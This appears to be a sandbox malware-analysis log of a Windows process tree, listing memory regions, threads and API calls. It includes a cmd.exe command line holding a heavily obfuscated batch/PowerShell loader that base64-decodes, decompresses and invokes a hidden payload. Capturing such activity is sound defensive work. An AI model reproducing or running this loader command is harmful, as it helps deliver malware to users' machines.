id = 2500 start_va = 0x1000000 end_va = 0x100ffff entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 2501 start_va = 0x1020000 end_va = 0x1027fff entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 2502 start_va = 0x1030000 end_va = 0x103ffff entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 2503 start_va = 0x1040000 end_va = 0x104ffff entry_point = 0x0 region_type = private name = "private_0x0000000001040000" filename = "" Region: id = 2504 start_va = 0x1050000 end_va = 0x105ffff entry_point = 0x1050000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2505 start_va = 0x13b0000 end_va = 0x13bffff entry_point = 0x13b0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2506 start_va = 0x13c0000 end_va = 0x13cffff entry_point = 0x0 region_type = private name = "private_0x00000000013c0000" filename = "" Region: id = 2507 start_va = 0x14d0000 end_va = 0x14d7fff entry_point = 0x0 region_type = private name = "private_0x00000000014d0000" filename = "" Region: id = 2508 start_va = 0x14e0000 end_va = 0x14effff entry_point = 0x0 region_type = private name = "private_0x00000000014e0000" filename = "" Region: id = 2509 start_va = 0x14f0000 end_va = 0x14fffff entry_point = 0x0 region_type = private name = "private_0x00000000014f0000" filename = "" Region: id = 2510 start_va = 0x1500000 end_va = 0x1507fff entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 2511 start_va = 0x1510000 end_va = 0x151ffff entry_point = 0x0 region_type = private name = "private_0x0000000001510000" filename = "" Region: id = 2512 start_va = 0x16a0000 end_va = 0x16a0fff entry_point = 0x16a0000 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll") Region: id = 2513 start_va = 0x16b0000 end_va = 0x16cffff entry_point = 0x0 region_type = private name = "private_0x00000000016b0000" filename = "" Region: id = 2514 start_va = 0x1ce0000 end_va = 0x1ceffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ce0000" filename = "" Region: id = 2515 start_va = 0x1cf0000 end_va = 0x1cfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001cf0000" filename = "" Region: id = 2516 start_va = 0x1d00000 end_va = 0x1d0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d00000" filename = "" Region: id = 2517 start_va = 0x1d10000 end_va = 0x1d1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d10000" filename = "" Region: id = 2518 start_va = 0x1d20000 end_va = 0x1d2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d20000" filename = "" Region: id = 2519 start_va = 0x1d30000 end_va = 0x1d3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d30000" filename = "" Region: id = 2520 start_va = 0x1dc0000 end_va = 0x1dcffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001dc0000" filename = "" Region: id = 2521 start_va = 0x1dd0000 end_va = 0x1ddffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001dd0000" filename = "" Region: id = 2522 start_va = 0x1de0000 end_va = 0x1deffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001de0000" filename = "" Region: id = 2523 start_va = 0x1df0000 end_va = 0x1dfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001df0000" filename = "" Region: id = 2524 start_va = 0x1e00000 end_va = 0x1e0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 2525 start_va = 0x1e10000 end_va = 0x1e1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e10000" filename = "" Region: id = 2526 start_va = 0x2470000 end_va = 0x24affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002470000" filename = "" Region: id = 2527 start_va = 0x24b0000 end_va = 0x24effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024b0000" filename = "" Region: id = 2528 start_va = 0x26c0000 end_va = 0x273ffff entry_point = 0x0 region_type = private name = "private_0x00000000026c0000" filename = "" Region: id = 2529 start_va = 0x2a90000 end_va = 0x2b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a90000" filename = "" Region: id = 2530 start_va = 0x2c70000 end_va = 0x2ceffff entry_point = 0x0 region_type = private name = "private_0x0000000002c70000" filename = "" Region: id = 2531 start_va = 0x2d50000 end_va = 0x2dcffff entry_point = 0x0 region_type = private name = "private_0x0000000002d50000" filename = "" Region: id = 2532 start_va = 0x3080000 end_va = 0x317ffff entry_point = 0x0 region_type = private name = "private_0x0000000003080000" filename = "" Region: id = 2533 start_va = 0x3180000 end_va = 0x327ffff entry_point = 0x0 region_type = private name = "private_0x0000000003180000" filename = "" Region: id = 2534 start_va = 0x3610000 end_va = 0x370ffff entry_point = 0x0 region_type = private name = "private_0x0000000003610000" filename = "" Region: id = 2535 start_va = 0x37b0000 end_va = 0x38affff entry_point = 0x0 region_type = private name = "private_0x00000000037b0000" filename = "" Region: id = 2536 start_va = 0x39c0000 end_va = 0x3a3ffff entry_point = 0x0 region_type = private name = "private_0x00000000039c0000" filename = "" Region: id = 2537 start_va = 0x4110000 end_va = 0x420ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004110000" filename = "" Region: id = 2538 start_va = 0x4890000 end_va = 0x498ffff entry_point = 0x0 region_type = private name = "private_0x0000000004890000" filename = "" Region: id = 2539 start_va = 0x4990000 end_va = 0x598ffff entry_point = 0x0 region_type = private name = "private_0x0000000004990000" filename = "" Region: id = 2540 start_va = 0x59e0000 end_va = 0x5a5ffff entry_point = 0x0 region_type = private name = "private_0x00000000059e0000" filename = "" Region: id = 2541 start_va = 0x5c50000 end_va = 0x5ccffff entry_point = 0x0 region_type = private name = "private_0x0000000005c50000" filename = "" Region: id = 2542 start_va = 0x5cd0000 end_va = 0x60cffff entry_point = 0x0 region_type = private name = "private_0x0000000005cd0000" filename = "" Region: id = 2543 start_va = 0x7fef37f0000 end_va = 0x7fef39c3fff entry_point = 0x7fef37f0000 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 2544 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 2545 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 2546 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 2547 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 2548 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2549 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Thread: id = 43 os_tid = 0xab4 Thread: id = 44 os_tid = 0xa68 Thread: id = 45 os_tid = 0xa64 Thread: id = 46 os_tid = 0xa60 Thread: id = 47 os_tid = 0xa5c Thread: id = 48 os_tid = 0x2b0 Thread: id = 49 os_tid = 0x14c Thread: id = 50 os_tid = 0x7dc Thread: id = 51 os_tid = 0x730 Thread: id = 52 os_tid = 0x31c Thread: id = 53 os_tid = 0x24c Thread: id = 54 os_tid = 0x298 Thread: id = 55 os_tid = 0x150 Thread: id = 56 os_tid = 0x7fc Thread: id = 57 os_tid = 0x7e4 Thread: id = 58 os_tid = 0x790 Thread: id = 59 os_tid = 0x774 Thread: id = 60 os_tid = 0x750 Thread: id = 61 os_tid = 0x74c Thread: id = 62 os_tid = 0x71c Thread: id = 63 os_tid = 0x718 Thread: id = 64 os_tid = 0x70c Thread: id = 65 os_tid = 0x6ec Thread: id = 66 os_tid = 0x4c0 Thread: id = 67 os_tid = 0x498 Thread: id = 68 os_tid = 0x494 Thread: id = 69 os_tid = 0x484 Thread: id = 70 os_tid = 0x480 Thread: id = 71 os_tid = 0x474 Thread: id = 72 os_tid = 0x1cc Thread: id = 73 os_tid = 0x120 Thread: id = 74 os_tid = 0x3fc Thread: id = 75 os_tid = 0x3f0 Thread: id = 76 os_tid = 0x3e4 Thread: id = 77 os_tid = 0x398 Thread: id = 78 os_tid = 0x394 Thread: id = 79 os_tid = 0x390 Thread: id = 80 os_tid = 0x384 Thread: id = 81 os_tid = 0x378 Thread: id = 82 os_tid = 0x370 Thread: id = 90 os_tid = 0xb04 Thread: id = 91 os_tid = 0xb08 Thread: id = 92 os_tid = 0xb0c Thread: id = 105 os_tid = 0xb88 Thread: id = 109 os_tid = 0xbc4 Thread: id = 110 os_tid = 0xbc8 Thread: id = 111 os_tid = 0xbcc Thread: id = 112 os_tid = 0xbf4 Thread: id = 113 os_tid = 0xbf8 Thread: id = 114 os_tid = 0xbfc Thread: id = 115 os_tid = 0x818 Thread: id = 116 os_tid = 0x814 Thread: id = 117 os_tid = 0x810 Thread: id = 118 os_tid = 0x80c Thread: id = 119 os_tid = 0x7c8 Thread: id = 124 os_tid = 0x884 Thread: id = 125 os_tid = 0x870 Thread: id = 129 os_tid = 0x57c Thread: id = 130 os_tid = 0x578 Thread: id = 242 os_tid = 0xb54 Thread: id = 243 os_tid = 0xa84 Thread: id = 244 os_tid = 0xa98 Thread: id = 245 os_tid = 0x968 Thread: id = 246 os_tid = 0x840 Thread: id = 247 os_tid = 0xab0 Thread: id = 257 os_tid = 0xaac Thread: id = 303 os_tid = 0x31c Thread: id = 304 os_tid = 0x390 Thread: id = 314 os_tid = 0x9f4 Thread: id = 321 os_tid = 0xb28 Thread: id = 322 os_tid = 0xa50 Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x4933b000" os_pid = "0xadc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xac0" cmd_line = "CmD , , /V:On ,,/R \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%%Eh%%e^q%%^Je%%q^2%%^xm%%Co^Jf%%z^R%%HJ^VR" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 969 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 970 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 971 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 972 start_va = 0xf0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 973 start_va = 0x49d50000 end_va = 0x49da8fff entry_point = 0x49d50000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 974 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 975 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 976 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 977 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 978 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 979 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 980 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 981 start_va = 0x2a0000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 982 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 983 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 984 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 985 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 986 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 987 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 988 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 989 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 990 start_va = 0x7fee6880000 end_va = 0x7fee6887fff entry_point = 0x7fee6880000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 991 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 992 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 993 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 994 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 995 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 996 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 997 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 998 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 999 start_va = 0x3a0000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 1000 start_va = 0x560000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 1001 start_va = 0x570000 end_va = 0x6f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 1002 start_va = 0x700000 end_va = 0x880fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 1003 start_va = 0x890000 end_va = 0x1c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 1004 start_va = 0x1c90000 end_va = 0x1fd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c90000" filename = "" Region: id = 1005 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1006 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1012 start_va = 0x1fe0000 end_va = 0x22aefff entry_point = 0x1fe0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 83 os_tid = 0xae0 [0085.485] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efdd0 | out: lpSystemTimeAsFileTime=0x1efdd0*(dwLowDateTime=0x24a28e20, dwHighDateTime=0x1d471c5)) [0085.485] GetCurrentProcessId () returned 0xadc [0085.485] GetCurrentThreadId () returned 0xae0 [0085.485] GetTickCount () returned 0x2145a [0085.485] QueryPerformanceCounter (in: lpPerformanceCount=0x1efdd8 | out: lpPerformanceCount=0x1efdd8*=1814387700000) returned 1 [0085.487] GetModuleHandleW (lpModuleName=0x0) returned 0x49d50000 [0085.487] __set_app_type (_Type=0x1) [0085.487] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49d77810) returned 0x0 [0085.487] __getmainargs (in: _Argc=0x49d9a608, _Argv=0x49d9a618, _Env=0x49d9a610, _DoWildCard=0, _StartInfo=0x49d7e0f4 | out: _Argc=0x49d9a608, _Argv=0x49d9a618, _Env=0x49d9a610) returned 0 [0085.488] GetCurrentThreadId () returned 0xae0 [0085.488] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xae0) returned 0x3c [0085.488] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0085.488] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40 [0085.488] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0085.528] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0085.528] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1efd68 | out: phkResult=0x1efd68*=0x0) returned 0x2 [0085.528] VirtualQuery (in: lpAddress=0x1efd50, lpBuffer=0x1efcd0, dwLength=0x30 | out: lpBuffer=0x1efcd0*(BaseAddress=0x1ef000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0085.528] VirtualQuery (in: lpAddress=0xf0000, lpBuffer=0x1efcd0, dwLength=0x30 | out: lpBuffer=0x1efcd0*(BaseAddress=0xf0000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0085.528] VirtualQuery (in: lpAddress=0xf1000, lpBuffer=0x1efcd0, dwLength=0x30 